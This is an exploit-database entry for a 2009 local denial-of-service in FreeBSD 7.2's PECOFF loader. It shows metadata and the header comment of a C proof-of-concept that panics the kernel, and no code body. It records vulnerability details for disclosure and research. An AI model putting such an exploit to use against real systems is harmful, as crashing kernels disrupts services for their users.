FreeBSD 7.2 - 'pecoff' Local Denial of Service

EDB-ID:

9206

CVE:


Type:

dos

Platform:

FreeBSD

Published:

2009-07-20

/* pecoff_panic.c
 *
 * by Shaun Colley, 20 July 2009
 *
 * this code will panic the freebsd kernel due to a bug in the PECOFF executable loader
 * code ('options PECOFF_SUPPORT' in kernel config or `kldload pecoff`)
 *
 * panic(9) is in vm_fault due to a page fault.  the panic seems to be caused in
 * generic_bcopy...probably hitting a guard page..maybe exploitable(??) but this is just
 * a DoS at the moment :)  (ugly code btw)
 *
 * tested on freebsd 7.2-RELEASE
 *
 * - shaun
